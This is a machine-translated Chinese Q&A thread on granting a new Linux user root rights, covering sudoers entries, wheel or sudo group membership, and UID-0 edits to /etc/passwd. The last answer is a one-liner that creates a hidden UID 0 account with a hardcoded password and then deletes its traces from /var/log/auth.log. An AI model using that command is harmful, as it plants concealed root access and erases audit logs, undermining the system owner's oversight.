我想添加新用户并让该新用户具有所有root访问权限,我该怎么做?
我做到了,sudo adduser --system testuser
但是这没有按我预期的那样工作。
感谢帮助。
我想添加新用户并让该新用户具有所有root访问权限,我该怎么做?
我做到了,sudo adduser --system testuser
但是这没有按我预期的那样工作。
感谢帮助。
Answers:
实际上,您可以通过三种方式进行此操作:正确的方法,错误的方法和丑陋的方法。
首先,创建一个普通用户帐户。
adduser username
然后选择以下选项之一:
sudo
为wheel
组创建一个条目,/etc/sudoers
如下所示:
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
或针对“现代”版本:
## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL) ALL
然后将用户添加到wheel
组中。现在,添加和删除具有管理权限的用户成为一种记住将其添加到wheel的功能,而不是在sudo中创建条目。使用wheel的好处是,您可以将此机制扩展到支持组的其他身份验证方案中,例如winbind / Active Directory,并从中受益。您可以通过将wheel映射到身份验证架构中具有管理员权限的组来实现。
请注意,某些发行版使用不同的管理帐户。车轮是“传统”的方式,但你可能会遇到admin
,adm
以及用于相同目的的其他组帐户。
后续编辑:
我必须指出Bart Silverstrim,指出Ubuntu admin
为此目的使用了该组。尽管我当时没有注意到Ubuntu标记,但他还是先了解了这一点。同样,这完全取决于您使用的发行版。
为有问题的用户帐户创建一个sudo条目,然后给予完全访问权限。同样,您可以这样创建条目/etc/sudoers
:
## Allows just user "username" to run all commands as root
username ALL=(ALL) ALL
添加:##对于Ubuntu版本:用户名ALL =(ALL:ALL)
如果您只有一个(或两个)普通帐户,那就太好了。当您在多个(地球物理)站点上拥有一百个帐户并且不得不不断维护sudo文件时,这很丑陋。
您可以编辑/etc/passwd
文件,并将用户帐户ID从任何数字更改为0
。是的,零。
username:x:0:502::/home/username:/bin/bash
看到第三项为零?当您登录该帐户时,出于所有有效目的,您就是root
。 我不建议这样做。 如果您不记得自己是谁,可以在开始创建和修改文件时创建各种破坏root
。您也可以将用户名添加到root
组中。这对文件访问具有相同的效果,但是会带来其他问题。程序会注意到您不是用户 root
并且拒绝运行,但是您将可以访问属于group的 文件root
。
如果这样做,您确实使用vipw
而不是仅仅使用编辑vi
,对吗?(或者您最喜欢的文本编辑器是什么)毕竟,此文件中的一个错字可以将您锁定在系统之外-这意味着需要使用修复光盘对相关计算机进行物理访问...
我已经使用了多年,这是在AskUbuntu上添加sudoer的#1推荐方法:
adduser existinguser sudo
它比编辑文件要简单得多,并且易于抛出无人参与安装的Shell脚本。
如果要创建用户并授予sudo特权,可以在一行中执行以下操作:
useradd newuser -m -G sudo
passwd newuser
-m
创建一个主目录,并-G
指定一个补充组。
好吧,您可以使用adduser创建用户,请参见man adduser。
之后,您可以将其添加到特权组(例如root或wheel)。但是我认为最推荐的方式是使用sudo。
“丑陋且混乱”的方式是编辑/ etc / passwd以使新用户的UID = 0和GID = 0。但这带来了很多安全风险。您确实知道,如果他也是root,他可能会禁用您的助手,更改您的密码,使您成为“标准用户” ...对吗?那为什么不给他自己的帐户呢?
如果您只想为suid(http://en.wikipedia.org/wiki/Setuid)的一些命令授予root访问权限,则可以研究suid的工作方式。
这是一个班轮:
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
最好,